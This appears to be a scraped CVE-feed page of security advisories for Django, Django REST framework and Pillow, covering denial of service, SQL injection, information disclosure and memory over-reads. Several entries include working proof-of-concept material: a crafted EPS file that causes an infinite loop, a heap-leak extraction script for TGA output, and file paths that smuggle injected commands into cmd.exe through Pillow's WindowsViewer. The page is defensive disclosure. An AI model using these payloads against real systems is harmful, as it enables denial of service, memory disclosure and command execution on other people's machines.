Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

26threats · Django · Medium· page 1/2
Get guardrails →

Django REST framework: Potential bypass of Django `DATA_UPLOAD_MAX_MEMORY_SIZE` when parsing oversized JSON and urlencoded request bodies via DRF `request.data`

Summary While investigating Django REST Framework's request parsing behavior, I identified that DRF's high-level request.data parsing appears to bypass Django's configured DATA_UPLOAD_MAX_MEMORY_SIZE protection for application/json and application/x-www-form-urlencoded request bodies. In the tested configurations, Django correctly raises RequestDataTooBig when applications access request.body or Django's native request.POST, but DRF successfully parses the same oversized payloads through request.data. This behavior appears to occur because DRF passes the underlying HttpRequest object directly to parsers, which consume the request stream through Django's lower-level streaming interface rather than the guarded request.body path. I am reporting this privately because I am unsure whether this behavior is considered part of DRF's intended security boundary, but it appears to bypass a documented Django request-size protection for common DRF request parsing paths and may have availability implications. What I Verified I verified the behavior locally using the following combinations: Django 6.0.7 + DRF 3.17.1 → Affected Django 6.0.7 + DRF current upstream main → Affected For both versions, the observed behavior was: `` Django request.body → RequestDataTooBig Django request.POST (application/x-www-form-urlencoded) → RequestDataTooBig Django request.read() → Reads the entire oversized request body DRF request.data → Successfully parses oversized JSON and urlencoded request bodies ` I also confirmed that: multipart/form-data remains protected because DRF delegates multipart parsing to Django's multipart parser. The behavior reproduces on both direct WSGI and ASGI servers without a reverse proxy or external request-size middleware. Technical Details The relevant execution flow is: ` APIView ↓ rest_framework.request.Request ↓ request.data ↓ Request._load_data_and_files() ↓ Request._parse() ↓ Request._load_stream() ↓ self._stream = self._request ↓ JSONParser.parse(...) or FormParser.parse(...) ↓ stream.read() / json.load(...) ` The important implementation detail is that DRF assigns the original Django HttpRequest object as the parser stream. Unlike request.body and Django's native form parsing, consuming the stream through HttpRequest.read() does not trigger Django's RequestDataTooBig protection. As a result, DRF's built-in parsers successfully consume oversized request bodies that Django itself would reject through its higher-level request interfaces. Reproduction Steps Environment Python 3.13 Django 6.0.7 Django REST Framework 3.17.1 (also reproduced on current upstream main) Configure: `python DATA_UPLOAD_MAX_MEMORY_SIZE = 10 ` Create a simple DRF API view: `python from rest_framework.views import APIView from rest_framework.response import Response class DemoView(APIView): def post(self, request): return Response(request.data) ` Start the application. Send an oversized JSON request: ` POST /demo Content-Type: application/json Content-Length: >10 bytes ` Example: `json { "value": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." } ` Observed: ` HTTP 200 JSON successfully parsed ` Now compare against: `python request.body ` Observed: ` RequestDataTooBig ` Likewise, compare against: `python request.POST ` using ` application/x-www-form-urlencoded ` Observed: ` RequestDataTooBig ` This demonstrates different enforcement depending on which request API is used. Root Cause Django documents HttpRequest.read() as a streaming interface. DRF exposes request.data as the primary high-level request parsing API. Currently, DRF forwards the raw Django request stream directly to parsers before any request-size validation equivalent to Django's request.body path occurs. Consequently: JSONParser FormParser fully consume oversized request bodies despite Django's configured request-size limit. Security Impact This does not appear to introduce: Authentication bypass Authorization bypass Remote code execution Information disclosure Integrity compromise However, it may reduce the effectiveness of deployments relying on Django's DATA_UPLOAD_MAX_MEMORY_SIZE to limit request-body resource consumption. Potential consequences include: Additional memory allocation during JSON parsing Additional CPU usage while decoding large JSON payloads Increased resource consumption when handling oversized request bodies Reduced effectiveness of Django's configured request-size protection for DRF endpoints using request.data The practical impact depends on deployment configuration, including: upstream request-size limits reverse proxy configuration authentication rate limiting endpoint exposure Memory Observations During local testing I observed successful parsing of oversized request bodies despite the configured limit. Representative measurements showed significantly increased memory allocation while parsing large JSON and urlencoded payloads. I intentionally did not perform destructive concurrency testing or attempt to exhaust system resources. Scope Confirmed affected: application/json application/x-www-form-urlencoded Confirmed not affected: multipart/form-data Suggested Fix Direction One possible approach would be for DRF to enforce Django's configured DATA_UPLOAD_MAX_MEMORY_SIZE before handing the raw request stream to parsers that fully materialize request bodies in memory. This would preserve Django's configured request-size protection for the common request.data` API without requiring broader changes to Django's documented streaming interface. Versions Tested Affected: Django 6.0.7 + DRF 3.17.1 Django 6.0.7 + DRF current upstream main I did not perform a complete historical version bisect. Disclosure I have not publicly disclosed this behavior. I am submitting it privately in accordance with the project's security policy because I am unsure whether maintainers consider this part of DRF's intended security boundary. Note: Thank you for taking the time to review this report. If you determine that this behavior should be addressed, I would be happy to help investigate further, develop a fix, add regression tests, and submit a patch if you'd find that helpful. I have experience as a Python/Django software engineer, security researcher, and open-source contributor, and I'd be glad to contribute if you think that would be useful.

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Django REST framework: AdminRenderer may disclose GET-protected data when rendering invalid write requests

Summary AdminRenderer may disclose data that would normally be protected by GET permissions when rendering a 400 Bad Request response for an invalid write request. If a view allows POST (or another write method) but denies GET, an invalid request rendered through AdminRenderer can invoke the view's GET handler and include data from the GET representation in the generated HTML response. This behavior appears to be specific to AdminRenderer and does not affect the normal JSON rendering path. --- Details While investigating the AdminRenderer rendering flow, I observed that invalid write requests are rendered by temporarily overriding the request method and invoking the view's GET handler: `` with override_method(view, request, "GET") as request: response = view.get(request, view.args, *view.kwargs) data = response.data ` This execution path differs from a normal GET request. Under normal request processing, a GET request flows through: ` APIView.dispatch() └── APIView.initial() └── APIView.check_permissions() ` However, during AdminRenderer rendering, the renderer directly invokes: view.get(...) A view whose permission class explicitly allowed POST but denied GET still executed its GET handler while rendering an invalid POST request through AdminRenderer. As a result, data intended to be available only through an authorized GET request was included in the generated HTML response. --- Proof of Concept Using a standard ListCreateAPIView. Permission class: ` class ProbePermission(BasePermission): def has_permission(self, request, view): return request.method == "POST" View: class View(ListCreateAPIView): renderer_classes = (AdminRenderer, JSONRenderer) permission_classes = (ProbePermission,) serializer_class = ProbeSerializer def get_queryset(self): return [ { "name": "visible", "secret": "GET-ONLY-SECRET", } ] ` Expected Behaviour ` GET request → 403 Forbidden Invalid POST request → 400 Bad Request → Response should contain only validation errors. → GET-only data should not be rendered. ` Observed Behaviour ` GET request → 403 Forbidden Invalid POST request rendered through AdminRenderer → 400 Bad Request → HTML response contains: GET-ONLY-SECRET ` Tthe same behavior is shown using a minimal APIView implementation. Observed results: ` minimal.post_400.handler_calls = [ ("post", "POST"), ("get", "GET") ] minimal.post_400.contains_secret = True ` Generic view reproduction: ` generic.direct_get.status = 403 generic.direct_get.contains_secret = False generic.post_400.status = 400 generic.post_400.contains_secret = True generic.post_400.permission_calls = [ ("GenericAdminView", "POST"), ... ("GenericAdminView", "OPTIONS") ] generic.post_400.queryset_calls = [ ("GenericAdminView", "GET"), ... ] ` These observations indicate that direct GET requests are correctly denied, while the simulated GET used during AdminRenderer rendering can still retrieve the protected representation. --- Impact This issue may result in information disclosure when all of the following conditions are met: AdminRenderer is enabled. The client negotiates the HTML renderer (for example using Accept: text/html). The application permits POST (or another write method). GET requests are denied by the configured permission class. The invalid write request returns 400 Bad Request. The GET representation contains information that the requester would normally not be permitted to access. This issue does not appear to affect: JSON rendering Standard API responses Successful write requests The behavior appears limited to the HTML rendering path used by AdminRenderer. --- Suggested Fix Possible approaches include: Perform equivalent permission checks before executing the simulated GET request. Avoid invoking view.get() when the corresponding GET request would not be permitted. Fall back to rendering only serializer/form validation errors instead of retrieving the GET representation. A regression test could create a permission class that allows POST while denying GET, then verify that an invalid POST rendered with AdminRenderer does not include data from the protected GET representation. --- Environment Repository: encode/django-rest-framework Branch tested: security-audit-drf Commit tested: cf582fb58e9e5ffcc8ed78a2cb9aaa8f4865666a`

LLM02 · Insecure OutputOWASP Web
Get guardrail →

Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service

Summary Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service. The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution. Confirmed affected versions: Pillow 12.0.0 through 12.2.0. Details The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative. Relevant code: elif bytes_mv[:14] == b"%%BeginBinary:": bytecount = int(byte_arr[14:bytes_read]) self.fp.seek(bytecount, os.SEEK_CUR) There is no validation that bytecount is non-negative. If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU. In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path. PoC Save the following content as pillow_eps_beginbinary_dos.eps: %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 1 1 %%EndComments % dummy comment after transition %%BeginBinary:-18 %%EOF Then run: python -m pip install "Pillow==12.2.0" python - <<'PY' from PIL import Image Image.open("pillow_eps_beginbinary_dos.eps") PY Expected behavior: Pillow should reject the malformed EPS file with a parser exception. Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU. The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again: LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 Impact This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open(). This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected. Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).

Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images

Summary Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1" image. Adjacent process heap bytes can be copied into the generated TGA file. The bug is reachable through the public save API: ``python im.save(out, format="TGA", compression="tga_rle") ` Older affected Pillow versions use the equivalent public option rle=True. For mode "1", Pillow allocates a packed row buffer of ceil(width / 8) bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel. The maximum valid TGA width is 65535. At that width: `text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes ` On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized 57297 bytes from distinct out-of-bounds source offsets into one returned TGA, covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most 128 bytes each, not one large memcpy(). Details src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the tga_rle encoder when RLE compression is requested. src/encode.c:_setimage() allocates the row buffer using the packed-bit formula: `c state->bytes = (state->bits state->xsize + 7) / 8; state->buffer = (UINT8 )calloc(1, state->bytes); ` For mode "1", state->bits == 1. src/libImaging/TgaRleEncode.c then computes: `c bytesPerPixel = (state->bits + 7) / 8; ` This becomes 1, and the encoder uses pixel indexes as byte offsets: `c static int comparePixels(const UINT8 buf, int x, int bytesPerPixel) { buf += x bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; } ` The packet payload memcpy() later copies those out-of-bounds source bytes into the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy one representative byte: `c memcpy( dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount ); ` A width-2 mode "1" image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized. PoC Minimal ASAN trigger `python import io from PIL import Image out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle") ` Observed on local Pillow 12.3.0.dev0 ASAN target: `text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from _setimage ` Maximum-width heap disclosure This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window. Run the following with a standard affected Pillow installation. `python import hashlib import io import PIL from PIL import Image WIDTH = 65535 ATTEMPTS = 20 ROW_BYTES = (WIDTH + 7) // 8 MAX_OOB_WINDOW = WIDTH - ROW_BYTES def extract_oob_payload(data): i = 18 pixel = 0 oob = bytearray() while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1 if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROW_BYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROW_BYTES - pixel, 0) :]) pixel += count return bytes(oob) best = b"" for _ in range(ATTEMPTS): out = io.BytesIO() Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle") oob = extract_oob_payload(out.getvalue()) if len(oob) > len(best): best = oob with open("/tmp/max_oob_bytes.bin", "wb") as fp: fp.write(best) print(f"Pillow={PIL.__version__}") print(f"packed_row_bytes={ROW_BYTES}") print(f"maximum_oob_window={MAX_OOB_WINDOW}") print(f"serialized_distinct_oob_offsets={len(best)}") print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}") print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}") print(f"sha256={hashlib.sha256(best).hexdigest()}") ` Observed on installed Pillow 12.2.0: `text Pillow=12.2.0 packed_row_bytes=8192 maximum_oob_window=57343 serialized_distinct_oob_offsets=57297 nonzero_oob_bytes=54407 coverage=99.92% ` Impact This is a heap out-of-bounds read and potential information disclosure. A maximum-width single-row image can cause nearly the full 57343`-byte adjacent heap window to be incorporated into one output file.

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

1. Summary WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands. The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py. --- 2. Vulnerable Code File: src/PIL/ImageShow.py, lines 133–150 ``python class WindowsViewer(Viewer): format = "PNG" options = {"compress_level": 1, "save_all": True} def get_command(self, file: str, options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again ) def show_file(self, path: str, options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.get_command(path, options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATE_NO_WINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1 ` Contrast with macOS — SAFE (line 164–168): `python class MacViewer(Viewer): def get_command(self, file: str, options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied ` Cross-platform summary: | Platform | Class | shlex.quote()? | shell=True? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes | | Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes | | Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No | shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice. --- 3. Proof of Concept A full working PoC is at poc_pillow_injection.py. Key parts: Part A — Injection string construction (static, no execution): `python from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() evil_path = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.get_command(evil_path) print(cmd) Output: start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) ├─ & echo PWNED → INJECTED COMMAND └─ & echo "" && ping ... → continues ` Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1): `python import os, tempfile from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() poc_dir = tempfile.mkdtemp() marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt") Craft injection: payload writes a marker file (harmless) payload = f'echo REAL_INJECTED > "{marker}"' evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "') Call the REAL Pillow get_command(): real_cmd = viewer.get_command(evil_path) Execute the same way the base Viewer.show_file() does (os.system): os.system(real_cmd) assert os.path.exists(marker) # PASSES — marker was created assert "REAL_INJECTED" in open(marker).read() # PASSES → CONFIRMED: arbitrary command injection via get_command() `` ---

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Django: DomainNameValidator permits newline characters that may enable HTTP header injection

An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16. DomainNameValidator does not prohibit newlines in domain names (unless used via a form field, since CharField strips newlines). If an application uses values with newlines in an HTTP response, header injection can occur. Django itself is unaffected because HttpResponse prohibits newlines in HTTP headers. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Bence Nagy for reporting this issue.

Django: GDALRaster may over-read heap memory when constructed from bytes

An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16. django.contrib.gis.gdal.GDALRaster over-reads its in-memory buffer when constructed from a bytes object, which can disclose adjacent memory or cause service degradation via a potential segmentation fault when the vsi_buffer property is accessed. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Bence Nagy for reporting this issue.

2 rules

Django has an Improper Handling of Length Parameter Inconsistency

An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. ASGI requests with a missing or understated Content-Length header can bypass the FILE_UPLOAD_MAX_MEMORY_SIZE limit, potentially loading large files into memory and causing service degradation. As a reminder, Django expects a limit to be configured at the web server level rather than solely relying on FILE_UPLOAD_MAX_MEMORY_SIZE. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django thanks Kyle Agronick for reporting this issue.

Pillow has a PDF Parsing Trailer Infinite Loop (DoS)

Impact An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive. Patches Patched version: 12.2.0. PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a trailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a longer cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an error if a cycle is detected. Workarounds Use any version but the affected versions: >= 4.2.0, < 12.2.0 Resources Fix: https://github.com/python-pillow/Pillow/pull/9519

Pillow has an integer overflow when processing fonts

If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.

Pillow has a heap buffer overflow with nested list coordinates

Passing nested lists as coordinates to APIs that accept coordinates such as ImagePath.Path, ImageDraw.ImageDraw.polygon and ImageDraw.ImageDraw.line could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1.

Django has potential DoS via MultiPartParser through crafted multipart uploads

An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. MultiPartParser allows remote attackers to degrade performance by submitting multipart uploads with Content-Transfer-Encoding: base64 including excessive whitespace. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Seokchan Yoon for reporting this issue.

2 rules

Django has an SQL Injection issue

An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28. .QuerySet.order_by() is subject to SQL injection in column aliases containing periods when the same alias is, using a suitably crafted dictionary, with dictionary expansion, used in FilteredRelation. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Solomon Kebede for reporting this issue.

OWASP A03OWASP Web
Get guardrail →

Django is vulnerable to SQL injection in column aliases

An issue was discovered in 5.2 before 5.2.9, 5.1 before 5.1.15, and 4.2 before 4.2.27. FilteredRelation is subject to SQL injection in column aliases, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to QuerySet.annotate() or QuerySet.alias() on PostgreSQL. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Stackered for reporting this issue.

OWASP A03OWASP Web
Get guardrail →

Django Improper Output Neutralization for Logs vulnerability

An issue was discovered in Django 5.2 before 5.2.2, 5.1 before 5.1.10, and 4.2 before 4.2.22. Internal HTTP response logging does not escape request.path, which allows remote attackers to potentially manipulate log output via crafted URLs. This may lead to log injection or forgery when logs are viewed in terminals or processed by external systems.

Django has a denial-of-service possibility in strip_tags()

An issue was discovered in Django 4.2 before 4.2.21, 5.1 before 5.1.9, and 5.2 before 5.2.1. The django.utils.html.strip_tags() function is vulnerable to a potential denial-of-service (slow performance) when processing inputs containing large sequences of incomplete HTML tags. The template filter striptags is also vulnerable, because it is built on top of strip_tags().

Django Potential Denial of Service (DoS) on Windows

An issue was discovered in Django 5.1 before 5.1.8 and 5.0 before 5.0.14. The NFKC normalization is slow on Windows. As a consequence, django.contrib.auth.views.LoginView, django.contrib.auth.views.LogoutView, and django.views.i18n.set_language are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.

Django vulnerable to Allocation of Resources Without Limits or Throttling

An issue was discovered in Django 5.1 before 5.1.7, 5.0 before 5.0.13, and 4.2 before 4.2.20. The django.utils.text.wrap() method and wordwrap template filter are subject to a potential denial-of-service attack when used with very long strings.

Django has a potential denial-of-service vulnerability in IPv6 validation

An issue was discovered in Django 5.1 before 5.1.5, 5.0 before 5.0.11, and 4.2 before 4.2.18. Lack of upper-bound limit enforcement in strings passed when performing IPv6 validation could lead to a potential denial-of-service attack. The undocumented and private functions clean_ipv6_address and is_valid_ipv6_address are vulnerable, as is the django.forms.GenericIPAddressField form field. (The django.db.models.GenericIPAddressField model field is not affected.)

Django allows enumeration of user e-mail addresses

An issue was discovered in Django v5.1.1, v5.0.9, and v4.2.16. The django.contrib.auth.forms.PasswordResetForm class, when used in a view implementing password reset flows, allows remote attackers to enumerate user e-mail addresses by sending password reset requests and observing the outcome (only when e-mail sending is consistently failing).

Showing 1–20 of 26 threats